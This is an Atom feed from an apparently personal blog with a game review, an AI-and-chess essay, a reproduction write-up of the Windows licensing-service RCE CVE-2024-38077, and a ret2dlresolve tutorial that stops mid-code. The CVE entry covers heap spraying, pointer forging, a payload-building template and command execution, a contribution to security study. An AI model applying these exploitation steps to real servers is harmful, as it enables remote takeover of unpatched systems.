<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>K&#39;s Map | DeePunk&#39;s Blog</title>
  
  
  <link href="http://deepunk.icu/atom.xml" rel="self"/>
  
  <link href="http://deepunk.icu/"/>
  <updated>2026-06-12T07:24:12.785Z</updated>
  <id>http://deepunk.icu/</id>
  
  <author>
    <name>DeePunk</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>归零巡礼：高开低走的概念，没有讲完的故事</title>
    <link href="http://deepunk.icu/zero-parades/"/>
    <id>http://deepunk.icu/zero-parades/</id>
    <published>2026-06-11T16:02:59.000Z</published>
    <updated>2026-06-12T07:24:12.785Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>剧透预警！<br>部分内容受限于记忆或未触发的情节，可能出现偏差？！</p></blockquote><p>早早听说了 ZA&#x2F;UM 团队主创离开的消息[^1]，很遗憾再也没有机会玩到《极乐迪斯科》这样的作品了。于是新作《归零巡礼》发售后，我并没有多少期待，以为不过是庸人的仿品罢了。</p><p>玩了一段时间后，第一反应是：太像了。从文本风格到画面风格，都让我确信这就是《极乐迪斯科》。随后世界的图景徐徐展开，地缘政治、文化封锁、刻印体，一系列极富野心的概念出现，扣人心弦。</p><p>失望发生在我试图寻找一个「真结局」的时候。我意犹未尽，相信这个平淡的结局并没有把故事讲完，我期待看到那些前文中富有野心的概念能得到认真诠释。然而「真结局」终归是不存在的。飞流的选择只是能让不同的队友用不同的姿势去送死，最后像模范小学生一样，向老师索取一个带分数的成绩鉴定。</p><p>游戏中遇到的第一个概念是「归零（zero out）」。飞流醒来时，看到原定的队友——伪足穿着红裤衩瘫倒在办公椅上，目光呆滞，失去一切意识。她在报告情况时，第一次使用了「归零」这个不明觉厉的词。「归零」作为游戏标题的一部分，很自然的推测是：某种意识清除的手段，由剧院对派出的行动员进行计划性的使用，可能是出于保护某些真相的目的。</p><p>直到游戏结局，用枪干掉两个大巫妖后，游戏会弹出成就：「归零大巫妖」。这时我才明白，「归零」就是「干掉」的替换词。干掉伪足的也并非某个更大的幕后黑手，只是一个间谍同行罢了。</p><p>另一个概念是游戏中无处不在的阴谋论，这一点沿袭了一代的风格。我也很喜欢加点这些神神叨叨的思维，逢人便开始传教，享受被当成神经病的快感。游戏中主要的阴谋论都由袋头男和全新世提供。袋头男像一个幕后的全知者，他说世界是虚假的，时间是不存在的。此外他还能探知玩家脑中的思考，甚至意识到玩家有读档的能力（对话后能获得一个禁用手动存档功能的思维）。全新世感知到了头脑中存在一个用于监听的小操控员——一只小金丝猴，并让飞流做手术取了出来。</p><p>这就是「真相」的全部了，随后的情节中再也没有出现过相关内容。我们的王牌特工飞流来到演播厅和「全知」的袋头男对质，问了几个「野猪曾经被用作保安」之类不痛不痒的问题，然后就放人走了。此后再也查无此人。甚至飞流从昔日队友的脑子里抠出一只金丝猴，也只是表达震惊，这事就算过去了。此时屏幕外的我恨不得把每个人的脑子都打开抠一遍，看看里面是不是也有一只金丝猴。</p><p>最终刺杀大巫妖的时机，被那个沉迷色情热线的男子称为「神圣间隙」、「秘密仪式」。飞流和女公爵使用某种精神分析（？）的手段在男子的潜意识中找到了这片间隙，花了大量篇幅，描述得相当玄乎。最后谜底揭晓：大巫妖的日程安排中间有个空，要去参拜法西斯神社，就这样。</p><p>可以理解，编剧太想让《归零巡礼》成为《极乐迪斯科》了，因而不得不造出许多像《极乐迪斯科》中「灰域」、「伊苏林迪竹节虫」这样宏大的概念来满足玩家的胃口。但结果是，许多概念只是一个空壳，这些高开低走的概念，有的成了语言上的腐败，有的留下没讲完的故事。</p><p>尽管有诸多缺陷，我依然喜欢这款游戏。卡萝莱娜回忆中的高阶认知技巧，文化宫里的胡子幽灵，播放着《梦中的你》瞬消碟的夺命云轨列车，都是令人难忘的设计。从游戏性上说，这是一款比《极乐迪斯科》更加成熟的游戏。天才的灵感可遇而不可求，所以仿品也有属于自己的使命。这一点《归零巡礼》已经完成了。</p><p><img src="/../img/zero-parades/209A61~1.jpg" alt="卡萝莱娜在刑讯室回忆飞流教的高阶认知技巧" title="卡萝莱娜在被刑讯逼供时，想起飞流教给她的高阶认知技巧：把自我转移到另一个物体上。而这个技巧是飞流当年装逼时随口胡诌的"></p><p>[^1]: <a href="https://www.ign.com.cn/disco-elysium/41296/news/ji-le-di-si-ke-zhu-chuang-qi-su-kai-fa-shang-zaum">《极乐迪斯科》主创起诉开发商 ZA&#x2F;UM</a></p>]]></content>
    
    
    <summary type="html">你终究不是她</summary>
    
    
    
    
    <category term="game" scheme="http://deepunk.icu/tags/game/"/>
    
    <category term="review" scheme="http://deepunk.icu/tags/review/"/>
    
  </entry>
  
  <entry>
    <title>版本前瞻：从象棋引擎到代码引擎</title>
    <link href="http://deepunk.icu/ai-chess/"/>
    <id>http://deepunk.icu/ai-chess/</id>
    <published>2026-06-09T14:25:16.000Z</published>
    <updated>2026-06-12T14:06:47.234Z</updated>
    
    <content type="html"><![CDATA[<p>最近沉迷于国际象棋。自 1996 年 Kasparov 败给 Deep Blue[^1] 以来，象棋引擎[^2]的地位已经无可撼动。经过多年发展，棋盘上人机的生态关系，也许能为我们今天的困境提供一些前瞻性的启发。</p><h1 id="游戏继续？"><a href="#游戏继续？" class="headerlink" title="游戏继续？"></a>游戏继续？</h1><p>人类技术的发展，一面在拓展人类原有能力的边界，一面在将人类的劳动外包。<br>我们把体力劳动外包给牛马，把技工劳动外包给机械，把计算劳动外包给电脑。智力劳动，也正在被我们外包给 AI。</p><p>机器的能力边界越来越广，人类的「护城河」越来越窄。我们面临一个问题：当机器能把一件事做得比人类更快更好，人类还有什么理由做下去？</p><p>这个问题预设了一种立场，即人类的劳动是「被需要的」，是为了某个外在目的而存在的。人类不过是工具调用栈的一环，自然会被更加先进的工具取代。</p><p>这个视角从反面解释为什么象棋依然繁荣。跳脱出「工具调用栈」的框架，人类仍会主动选择拼豆（而不是用 SMT 贴片机），写诗、做开源。也许在 AI 接管人类工具性部分的那一天，人类终于能为了自身去创造。</p><h1 id="义体还是轮椅？"><a href="#义体还是轮椅？" class="headerlink" title="义体还是轮椅？"></a>义体还是轮椅？</h1><p>快棋大师 Hikaru 在采访中提到了很有趣的一点：他与 Magnus 这一代棋手在没有引擎的环境下成长。在他看来，这天然地训练出了更多「人类直觉」，而这是新生代棋手们可能不具有的[^3]。</p><p>这一点呼应了在许多答案唾手可得的今天，人类学习上的困境：动手算答案，似乎变得小众了。但如果没有动手算过，我们真的可以说自己学会了吗？</p><p>我相信答案是否定的。除了需要应对目前AI能力有限、产生幻觉的情况，更重要的是，反复在不同情境中动手所形成的能力，更容易泛化到新的问题中[^4]。</p><p>象棋大师们通常保留人工复盘棋局的习惯，往往是在某个不确定的点上，为了印证自己的某种判断，才交给引擎进行分析[^3]。抛给 AI 的问题，是思考后给出的。以人类做题家的角度来看，AI 在这里扮演着习题册最后一页参考答案的角色。</p><p>尽管动手解决问题存在长期的优势，这在 AI 时代却有着高昂的机会成本。问题的答案变得太廉价，以至于思考变得昂贵了。如果对着对话框许愿就能轻松解决问题，那亲自动手做一遍更像是某种长期主义的童话。或许在未来，学习也会成为奢侈品。</p><p>[^1]: <a href="https://en.wikipedia.org/wiki/Deep_Blue_versus_Garry_Kasparov">Deep Blue versus Garry Kasparov</a></p><p>[^2]: <a href="https://en.wikipedia.org/wiki/Chess_engine">Chess engine</a> 截止写作日期，世界最强象棋引擎 Stockfish 18 的 elo 等级分为 3651，而最强人类棋手 Magnus Carlsen 等级分约 2800。</p><p>[^3]: <a href="https://youtu.be/oJNvxYEcVAY">Hikaru Nakamura: Chess, Magnus, Kasparov, and the Psychology of Greatness | Lex Fridman Podcast</a></p><p>[^4]: <a href="https://en.wikipedia.org/wiki/Generation_effect">Generation effect</a></p>]]></content>
    
    
    <summary type="html">一些下棋时的胡思乱想</summary>
    
    
    
    
    <category term="chess" scheme="http://deepunk.icu/tags/chess/"/>
    
    <category term="AI" scheme="http://deepunk.icu/tags/AI/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2024-38077  Reproduction</title>
    <link href="http://deepunk.icu/CVE-2024-38077%20(madlicense)%20reproduction/"/>
    <id>http://deepunk.icu/CVE-2024-38077%20(madlicense)%20reproduction/</id>
    <published>2024-11-22T16:18:46.000Z</published>
    <updated>2026-05-27T12:52:23.536Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>Also known as madlicense, a vulnerability on almost every versions of windows server that leads to 0-click RCE</p></blockquote><h1 id="1-Vuln-Analyze"><a href="#1-Vuln-Analyze" class="headerlink" title="1. Vuln Analyze"></a>1. Vuln Analyze</h1><h2 id="1-1-Call-Stack"><a href="#1-1-Call-Stack" class="headerlink" title="1.1 Call Stack"></a>1.1 Call Stack</h2><pre><code> # Child-SP          RetAddr               Call Site00 000000b9`d2ffbd30 00007fff`67a76fec     lserver!CDataCoding::DecodeData01 000000b9`d2ffbd70 00007fff`67a5c793     lserver!LKPLiteVerifyLKP+0x3802 000000b9`d2ffbdc0 00007fff`67a343eb     lserver!TLSDBTelephoneRegisterLicenseKeyPack+0x16303 000000b9`d2ffd7d0 00007fff`867052a3     lserver!TLSRpcTelephoneRegisterLKP+0x15b04 000000b9`d2fff0c0 00007fff`8664854d     RPCRT4!Invoke+0x7305 000000b9`d2fff120 00007fff`86647fda     RPCRT4!NdrStubCall2+0x30d06 000000b9`d2fff3d0 00007fff`866b7967     RPCRT4!NdrServerCall2+0x1a</code></pre><h2 id="1-2-Vuln"><a href="#1-2-Vuln" class="headerlink" title="1.2 Vuln"></a>1.2 Vuln</h2><pre><code class="c">__int64 __fastcall CDataCoding::DecodeData(CDataCoding *this, wchar_t *a2, unsigned __int8 **a3, unsigned int *a4)&#123;  unsigned int v4; // edi  int v8; // ebp  unsigned int v9; // ebx  HANDLE ProcessHeap; // rax  unsigned __int8 *v11; // rax  unsigned __int8 *v12; // rbx  wchar_t *v13; // rax  __int64 v14; // rcx  unsigned __int8 *v15; // rdx  __int64 v16; // r9  unsigned int v17; // ecx  HANDLE v18; // rax  v4 = 0;  v8 = 0;  if ( a3 )  &#123;    v9 = dwBytes; // Always be 21    *a3 = 0LL;    *a4 = 0;    ProcessHeap = GetProcessHeap();    v11 = (unsigned __int8 *)HeapAlloc(ProcessHeap, 8u, v9);   // fixed size    v12 = v11;    if ( v11 )    &#123;      memset_0(v11, 0, (unsigned int)dwBytes);      while ( *a2 )      &#123;        // str: BCDFGHJKMPQRTVWXY2346789 a2: usercontrol        v13 = wcschr_0(Str, *a2);        if ( !v13 )        &#123;          v4 = 13;          v18 = GetProcessHeap();          HeapFree(v18, 0, v12);          return v4;        &#125;        // a2 from base24 to base 10        v14 = v13 - Str;        v15 = v12;        v16 = (unsigned int)(v8 + 1);        do        &#123;          v17 = dword_1800D61C8 * *v15 + v14;          *v15++ = v17;          LODWORD(v14) = v17 &gt;&gt; 8;          --v16;        &#125;        while ( v16 );        if ( (_DWORD)v14 )          v12[++v8] = v14; // move base10 to buffer        ++a2;      &#125;      *a4 = dwBytes;      *a3 = v12;    &#125;    else    &#123;      return 8;    &#125;  &#125;  else  &#123;    return 87;  &#125;  return v4;&#125;</code></pre><p>Heap overflow without restriction</p><h2 id="1-3-Vuln-Component"><a href="#1-3-Vuln-Component" class="headerlink" title="1.3 Vuln Component"></a>1.3 Vuln Component</h2><p>lserver.dll loaded by svchost.exe</p><p><code>TLSRpcTelephoneRegisterLKP()</code> function</p><h1 id="2-Heap-Manage-Mechanism"><a href="#2-Heap-Manage-Mechanism" class="headerlink" title="2. Heap Manage Mechanism"></a>2. Heap Manage Mechanism</h1><p>It used segment heap</p><p>We mainly foucus on LFH since it&#96;s vulnerable</p><ul><li>headless</li><li>randomly allocated</li></ul><h1 id="3-Exploitation"><a href="#3-Exploitation" class="headerlink" title="3. Exploitation"></a>3. Exploitation</h1><h2 id="3-1-Enable-LFH"><a href="#3-1-Enable-LFH" class="headerlink" title="3.1 Enable LFH"></a>3.1 Enable LFH</h2><blockquote><p>Bucket activation occurs if there are <strong>17 active allocations</strong> for the bucket’s allocation size.</p><p>Bucket activation also occurs if there are <strong>2,040 allocation requests</strong> for the bucket’s allocation size.</p></blockquote><p>Here we allocate 2,040 chunks with size 0x20 to enable LFH.</p><p><code>TLSRpcRegisterLicenseKeyPack()</code> takes in encrypted payload and allocate memory for the payload after decryption. So we can allocate arbitary memory with it.</p><p>Here we use <code>TLSRpcRegisterLicenseKeyPack()</code> to spray 0x20 chunks.</p><h2 id="3-2-Leak-Address"><a href="#3-2-Leak-Address" class="headerlink" title="3.2 Leak Address"></a>3.2 Leak Address</h2><p>The widely used <code>lpContext</code> structure is allocated in each <code>TLSRpcConnect()</code> and returned as a handle.</p><pre><code class="c">typedef struct __ClientContext &#123;    LPTSTR  m_Client;    long    m_RefCount;    DWORD   m_ClientFlags;    DWORD   m_LastError;    CONTEXTHANDLE_TYPE m_ContextType;    HANDLE  m_ContextHandle;    // NEEDED - A list to store all memory/handle    //          allocated for the client&#125; CLIENTCONTEXT, *LPCLIENTCONTEXT;</code></pre><p>And its <strong>0x20</strong> large, which means it will be allocated in the same bucket with our vulnerable buffer.</p><p>Thus we can srpay handles with <code>TLSRpcConnect()</code>, free some handles, and then allocate vulnerable buffer with <code>TLSRpcTelephoneRegisterLKP()</code>. We will easily overflow to the <code>lpcontext</code> structure. And the pointers in the structure is potential.</p><p><code>TLSRpcRetrieveTermServCert()</code> takes the lpcontext as argument, and</p><pre><code class="c">SAFESTRCPY(LicenseRequest.szMachineName, lpContext-&gt;m_Client);SAFESTRCPY(LicenseRequest.szUserName, lpContext-&gt;m_Client);</code></pre><p>Finally, it returns the <code>ppbCert</code> containing the <code>LicenseRequest</code></p><p>Since <code>lpContext-&gt;m_Clinet</code> is easy to forge, we get an AAR.</p><h2 id="3-3-Hijack-rip"><a href="#3-3-Hijack-rip" class="headerlink" title="3.3 Hijack rip"></a>3.3 Hijack rip</h2><h3 id="3-3-1-Hijack-Controlflow"><a href="#3-3-1-Hijack-Controlflow" class="headerlink" title="3.3.1 Hijack Controlflow"></a>3.3.1 Hijack Controlflow</h3><p><code>TLSRpcKeyPackEnumNext() -&gt; TLSDBLicenseKeyPackEnumNext() -&gt; TLSDBKeyPackEnumNext() -&gt; lpContext-&gt;m_ContextHandle-&gt;pbWorkSpace-&gt;m_LicPackTable.EnumerateNext()</code></p><p>It finally calls a virtual function related to <code>lpContext</code></p><pre><code class="c">error_status_t TLSRpcKeyPackEnumNext(     /* [in] */ PCONTEXT_HANDLE phContext,    /* [ref][out] */ LPLSKeyPack lpKeyPack,    /* [ref][out][in] */ PDWORD dwErrCode    )&#123;    ...    LPENUMHANDLE hEnum=(LPENUMHANDLE)lpContext-&gt;m_ContextHandle;    status=TLSDBLicenseKeyPackEnumNext(                             hEnum,                             lpKeyPack,                            bShowAll                        );    ...&#125;DWORD TLSDBLicenseKeyPackEnumNext(    LPENUMHANDLE lpEnumHandle,     LPLSKeyPack lpLsKeyPack,    BOOL bShowAll    )&#123;    ...    switch(lpEnumHandle-&gt;chFetchState)    &#123;        case ENUMHANDLE::FETCH_NEXT_KEYPACK:            dwStatus=TLSDBKeyPackEnumNext(                                lpEnumHandle-&gt;pbWorkSpace,                                 &amp;lpEnumHandle-&gt;CurrentKeyPack                            );    ...&#125;DWORDTLSDBKeyPackEnumNext(     IN PTLSDbWorkSpace pDbWkSpace,     IN OUT PTLSLICENSEPACK lpKeyPack    )&#123;    ...    LicPackTable&amp; licpackTable=pDbWkSpace-&gt;m_LicPackTable;    switch(licpackTable.EnumerateNext(*lpKeyPack))    ...&#125;</code></pre><p>So in the <code>TLSDBKeyPackEnumNext</code>, we can control the overflow to</p><pre><code class="c">lpContext-&gt;m_ContextHandle-&gt;pbWorkSpace-&gt;m_LicPackTable.EnumerateNext()</code></pre><p>In disassembly:</p><pre><code class="c">__int64 __fastcall TLSDBKeyPackEnumNext(__int64 *a1, void *a2)&#123;  if ( a1 &amp;&amp; a2 )  &#123;    (*(void (__fastcall **)(__int64 *, void *, _QWORD, _QWORD))(*a1 + 0x70))(a1, a2, 0LL, 0LL);    v3 = (*(__int64 (__fastcall **)(__int64 *))(*a1 + 0x1F0))(a1);    ...</code></pre><h3 id="3-3-2-Leak-Fake-Object-Address"><a href="#3-3-2-Leak-Fake-Object-Address" class="headerlink" title="3.3.2 Leak Fake Object Address"></a>3.3.2 Leak Fake Object Address</h3><p>Since we need to forge the function pointer, we need to forge the whole <code>m_ContextHandle</code>. Then we must obtain our <strong>fake obj address</strong> because it contains some layers of pointers.</p><p>Review our segment heap mechenism. We learn that LFH and VS are allocated from the Backend Allocator, and Luckily, the <code>_SEGMENT_HEAP</code> contains the information of the last block of current backend heap.</p><p>Now that we have AAR primitive, we can obtain the last block address, and blocks are allocated continuously. So we will spray our fakeobj, and we can predict an address before that.</p><p><img src="/../img/%E6%97%A0%E6%A0%87%E9%A2%98-2024-10-12-1007%202.png"></p><h3 id="3-3-3-Construct-Fake-Object"><a href="#3-3-3-Construct-Fake-Object" class="headerlink" title="3.3.3 Construct Fake Object"></a>3.3.3 Construct Fake Object</h3><p>Now we have fakeobj address. Just forge the object with its defination</p><pre><code class="c">//lpContext-&gt;m_ContextHandletypedef struct __ENUMHANDLE &#123;    typedef enum &#123;        FETCH_NEXT_KEYPACK=1,        FETCH_NEXT_KEYPACKDESC,        FETCH_NEW_KEYPACKDESC    &#125; ENUM_FETCH_CODE;    PTLSDbWorkSpace pbWorkSpace;    TLSLICENSEPACK  CurrentKeyPack;    LICPACKDESC     KPDescSearchValue;    DWORD           dwKPDescSearchParm;    BOOL            bKPDescMatchAll;    CHAR            chFetchState;&#125; ENUMHANDLE, *LPENUMHANDLE;//lpContext-&gt;m_ContextHandle-&gt;pbWorkSpacetypedef struct __TlsDbWorkSpace &#123;    static JBInstance g_JbInstance;    JBSession  m_JetSession;    JBDatabase m_JetDatabase;    LicPackTable            m_LicPackTable; // Target    LicensedTable           m_LicensedTable;    ...&#125; TLSDbWorkSpace, *LPTLSDbWorkSpace, *PTLSDbWorkSpace;</code></pre><p><img src="/../img/Pasted%20image%2020241012102221%202.png"></p><h2 id="3-4-Hijack-Arguments"><a href="#3-4-Hijack-Arguments" class="headerlink" title="3.4 Hijack Arguments"></a>3.4 Hijack Arguments</h2><p>As the graph indicates above, the rcx is a pointer to the <code>pbWorkSpace</code>, which is unuseable in most of the cases. Because its first element must be <code>*m_LicPackTable</code>.</p><p>Then we look into the magical <code>NdrServerCall2()</code>. It receives a pointer to structure <code>RpcMsg</code> as the only argument, and finally calls the structure related pointer with structure related argument list (though rather complicated).</p><p><code>NdrServerCall2() -&gt; NdrStubCall2() -&gt; ... -&gt; Invoke()</code></p><p>Anyway, the function is so f complicated. It does so many things to parse <code>RpcMsg</code>, most parts can be easily(?) bypassed by constructing structures.</p><p>The hardest part is that they deliver the attributes of arguments in a certain formated string. After reversing, I made a template for better use.</p><pre><code class="python">    pbWorkSpace += b&quot;\x32\x48&quot;    pbWorkSpace += b&quot;\x00\x00\x00\x00&quot;    pbWorkSpace += b&quot;\x00\x00&quot; #procNum    pbWorkSpace += p16(argnum * 8) #stacksize    # pbWorkSpace += b&quot;\x30\xe0\x00\x00\x00\x00&quot;    # NdrInfo.pProcDesc    pbWorkSpace += b&quot;\xc0\x00\x10\x00&quot; #ClientBufferSize &amp; ServerBufferSize    pbWorkSpace += b&quot;\x40&quot; #Oi2Flags    pbWorkSpace += p8(argnum * 2) #NumberParams    # NdrExts    pbWorkSpace += b&quot;\x0a&quot; #Size    pbWorkSpace += b&quot;\x01\x00\x00&quot; #Flags2 &amp; ClientCorrHint &amp; ServerCorrHint    pbWorkSpace += b&quot;\x00\x00\x00\x00&quot; #NotifyIndex    pbWorkSpace += b&quot;\x00\x00&quot;    # Params    for i in range(argnum * 2):        pbWorkSpace += p16(0x48)        pbWorkSpace += p16(i * 4)        pbWorkSpace += p16(0x09)</code></pre><p>Finally, we get an arbitary call with aribitary arguments (though the fakeobj looks scary).</p><h2 id="3-5-After-Arbitary-Call"><a href="#3-5-After-Arbitary-Call" class="headerlink" title="3.5 After Arbitary Call"></a>3.5 After Arbitary Call</h2><p>Now we have one <strong>arbitary call</strong>, and then crash.</p><p>Because of <strong>CFG(Control Flow Guard)</strong>, we are not able to do ROP or shellcode.</p><p>The method from the origin author is using <code>LoadLibraryA()</code> to load an evil dll from remote smb server. But as a low priviledge user, I found it forbiddend to load dll into svchost.exe from remote smb, though loading from local is possible.</p><p>Then I turned into <code>CreatProcessA()</code>, similar to <code>Winexec()</code>. We can execute cmd command now.</p><p>Notice:</p><ul><li><code>CreatProcessA()</code> is NOT equal to cmd. Only one command is allowed, that means ‘&amp;&amp;’, ‘&amp;’, ‘|’ are not allowed. So we have to use <code>cmd.exe /C &quot;xxx&quot;</code> to execute multipule command at a time.</li><li><code>cmd.exe /C &quot;xxx&quot;</code> only allows <strong>double quotation marks</strong></li><li>I failed to load <code>powershell.exe</code>, maybe related to some policy</li></ul><h1 id="4-References"><a href="#4-References" class="headerlink" title="4. References"></a>4. References</h1><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38077">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38077</a></p>]]></content>
    
    
    <summary type="html">Also known as madlicense, a vulnerability on almost every versions of windows server that leads to 0-click RCE</summary>
    
    
    
    
    <category term="windows" scheme="http://deepunk.icu/tags/windows/"/>
    
    <category term="pwn" scheme="http://deepunk.icu/tags/pwn/"/>
    
    <category term="rpc" scheme="http://deepunk.icu/tags/rpc/"/>
    
    <category term="cve" scheme="http://deepunk.icu/tags/cve/"/>
    
  </entry>
  
  <entry>
    <title>dl 相关攻击</title>
    <link href="http://deepunk.icu/dl%E7%9B%B8%E5%85%B3%E6%94%BB%E5%87%BB/"/>
    <id>http://deepunk.icu/dl%E7%9B%B8%E5%85%B3%E6%94%BB%E5%87%BB/</id>
    <published>2024-04-29T16:00:00.000Z</published>
    <updated>2026-05-27T12:52:23.538Z</updated>
    
    <content type="html"><![CDATA[<h1 id="动态链接"><a href="#动态链接" class="headerlink" title="动态链接"></a>动态链接</h1><h2 id="机制"><a href="#机制" class="headerlink" title="机制"></a>机制</h2><p>使用动态链接时，程序按模块拆分为多个独立部分，在程序运行时才链接在一起。linux中ELF动态链接文件称为动态共享对象(DSO)，以<code>.so</code>为拓展名。常用的C语言运行库glibc保存为<code>libc.so</code>。</p><p>链接的操作由动态链接器ld完成。运行时动态链接器与普通共享对象一同被映射到进程的地址空间，程序在运行时首先运行ld，完成所有动态链接工作后再转交主程序。</p><p>如果程序中存在跨模块的数据访问，由于目标变量的地址要在装载时才能确定，需要使得程序中的代码地址无关。于是把跟地址相关的代码放在数据段里，即全局偏移表(Global Offset Table)。至于模块间的调用，跳转，也用GOT表实现，但是出于效率考虑，需要引入延迟绑定机制。</p><p>延迟绑定(Lazy Binding)的思想是在程序第一次用到时才绑定(符号查找，重定位)，使用PLT表(Procedure Linkage Table)实现，实现代码如下:</p><pre><code class="assembly">PLT0:push *(GOT + 4)jump *(GOT + 8)...bar@plt:jmp *(bar@GOT)push njump PLT0</code></pre><p>(此处的实现与之后的利用密切相关)</p><p>其中<code>bar@GOT</code>中初始保存<code>bar@plt</code>的下一条指令(原地tp)，随后push的n是bar在重定位表项中的序号。<code>GOT + 4</code> 中保存一个名为<code>link_map</code>的结构体的地址，它保存了本模块动态链接的相关信息，<code>GOT + 8</code>中保存<code>_dl_runtime_resolve()</code>的地址，该函数的作用便是解析<code>link_map</code>，计算出bar函数的真正地址，并将其填入<code>bar@GOT</code>中</p><h2 id="实现结构"><a href="#实现结构" class="headerlink" title="实现结构"></a>实现结构</h2><h3 id="interp段"><a href="#interp段" class="headerlink" title=".interp段"></a><code>.interp</code>段</h3><p>一个字符串，动态连接器的路径</p><h3 id="dynamic段"><a href="#dynamic段" class="headerlink" title=".dynamic段"></a><code>.dynamic</code>段</h3><p><code>readelf -d Lib.so</code>查看<br>保存了动态连接器所需的基本信息，结构如下</p><pre><code class="c">typedef struct&#123;   Elf32_Sword   d_tag;          /* Dynamic entry type */   union     &#123;       Elf32_Word d_val;         /* Integer value */       Elf32_Addr d_ptr;         /* Address value */     &#125; d_un; &#125; Elf32_Dyn; typedef struct&#123;    Elf64_Sxword d_tag; /* Dynamic entry type */    union      &#123;        Elf64_Xword d_val; /* Integer value */        Elf64_Addr d_ptr; /* Address value */      &#125; d_un;&#125; Elf64_Dyn;</code></pre><p>在<code>elf.h</code>中定义了不同d_tag的值与对应类型，后面比较常用的有</p><ul><li><code>DT_REL</code> 动态链接重定位表地址</li><li><code>DT_SYMTAB</code> 动态链接符号表地址</li><li><code>DT_STRTAB</code> 动态链接字符串表地址</li><li><code>DT_INIT</code> 初始化代码地址</li><li><code>DT_FINI</code> 结束代码地址</li></ul><h3 id="DT-REL动态链接重定位表"><a href="#DT-REL动态链接重定位表" class="headerlink" title="DT_REL动态链接重定位表"></a><code>DT_REL</code>动态链接重定位表</h3><p><code>readelf -r Lib.so</code>查看<br>共享对象的重定位在装载时完成，重定位表分为<code>.rel.dyn</code>和<code>.rel.plt</code>。前者修正数据引用，即<code>.got</code>和<code>.data</code>；后者修正<code>.got.plt</code>。</p><pre><code class="c">typedef struct&#123;    Elf32_Addr r_offset; /* Address */    Elf32_Word r_info; /* Relocation type and symbol index */&#125; Elf32_Rel;typedef struct&#123;    Elf64_Addr r_offset; /* Address */    Elf64_Xword r_info; /* Relocation type and symbol index */&#125; Elf64_Rel;/* How to extract and insert information held in the r_info field. */#define ELF32_R_SYM(val) ((val) &gt;&gt; 8)#define ELF32_R_TYPE(val) ((val) &amp; 0xff)#define ELF32_R_INFO(sym, type) (((sym) &lt;&lt; 8) + ((type) &amp; 0xff))#define ELF64_R_SYM(i) ((i) &gt;&gt; 32)#define ELF64_R_TYPE(i) ((i) &amp; 0xffffffff)#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) &lt;&lt; 32) + (type))</code></pre><p><code>r_offset</code>表示需要修正的地址，<code>r_info</code>高位表示该符号在符号表中的序号，低位表示符号类型。</p><h3 id="DT-SYMTAB-动态链接符号表"><a href="#DT-SYMTAB-动态链接符号表" class="headerlink" title="DT_SYMTAB 动态链接符号表"></a><code>DT_SYMTAB</code> 动态链接符号表</h3><p><code>readelf -sD Lib.so</code>查看<br>通常保存在段<code>.dynsym</code></p><pre><code class="c">typedef struct&#123;    Elf32_Word st_name; /* Symbol name (string tbl index) */    Elf32_Addr st_value; /* Symbol value */    Elf32_Word st_size; /* Symbol size */    unsigned char st_info; /* Symbol type and binding */    unsigned char st_other; /* Symbol visibility */    Elf32_Section st_shndx; /* Section index */&#125; Elf32_Sym;typedef struct&#123;    Elf64_Word st_name; /* Symbol name (string tbl index) */    unsigned char st_info; /* Symbol type and binding */    unsigned char st_other; /* Symbol visibility */    Elf64_Section st_shndx; /* Section index */    Elf64_Addr st_value; /* Symbol value */    Elf64_Xword st_size; /* Symbol size */&#125; Elf64_Sym;/* How to extract and insert information held in the st_info field. */#define ELF32_ST_BIND(val) (((unsigned char) (val)) &gt;&gt; 4)#define ELF32_ST_TYPE(val) ((val) &amp; 0xf)#define ELF32_ST_INFO(bind, type) (((bind) &lt;&lt; 4) + ((type) &amp; 0xf))/* Both Elf32_Sym and Elf64_Sym use the same one-byte st_info field. */#define ELF64_ST_BIND(val) ELF32_ST_BIND (val)#define ELF64_ST_TYPE(val) ELF32_ST_TYPE (val)#define ELF64_ST_INFO(bind, type) ELF32_ST_INFO ((bind), (type))</code></pre><h3 id="DT-STRTAB-动态链接字符串表"><a href="#DT-STRTAB-动态链接字符串表" class="headerlink" title="DT_STRTAB 动态链接字符串表"></a><code>DT_STRTAB</code> 动态链接字符串表</h3><p><code>.dynstr</code>中<br>存储字符串，无需赘述</p><h3 id="link-map"><a href="#link-map" class="headerlink" title="link_map"></a><code>link_map</code></h3><p>一个结构体，保存动态链接相关信息<br>代码太长不贴，有两个比较重要的部分</p><ul><li><code>l_addr</code> 程序的基址</li><li><code>l_info[]</code>一个数组，保存了多个重定位项的地址</li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>调用<code>_dl_runtime_resolve</code>时，传参<code>link_map</code>和<code>rel_offset</code>，查找流程如下</p><pre><code class="c">_dl_runtime_resolve(link_map, rel_offset)                                       +          +-----------+                |          | Elf32_Rel | &lt;--------------+          +-----------+     +--+ | r_offset  |        +-----------+     |    |  r_info   | +----&gt; | Elf32_Sym |     |    +-----------+        +-----------+      +----------+     |      .rel.plt           |  st_name  | +--&gt; | system\0 |     |                         |           |      +----------+     v                         +-----------+        .dynstr+----+-----+                      .dynsym| &lt;system&gt; |+----------+  .got.plt</code></pre><h1 id="ret2dlresolve"><a href="#ret2dlresolve" class="headerlink" title="ret2dlresolve"></a>ret2dlresolve</h1><h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>调用<code>_dl_runtime_resolve</code>后，实际完成绑定工作的是其中调用的<code>_dl_fixup</code></p><pre><code class="c">/* This function is called through a special trampoline from the PLT thefirst time each PLT entry is called. We must perform the relocationspecified in the PLT of the given shared object, and return the resolvedfunction address to the trampoline, which will restart the original callto that address. Future calls will bounce directly from the PLT to thefunction. */DL_FIXUP_VALUE_TYPEattribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE_dl_fixup (# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS        ELF_MACHINE_RUNTIME_FIXUP_ARGS,# endif        struct link_map *l, ElfW(Word) reloc_arg)&#123;    const ElfW(Sym) *const symtab     = (const void *) D_PTR (l, l_info[DT_SYMTAB]);    const char *strtab = (const void 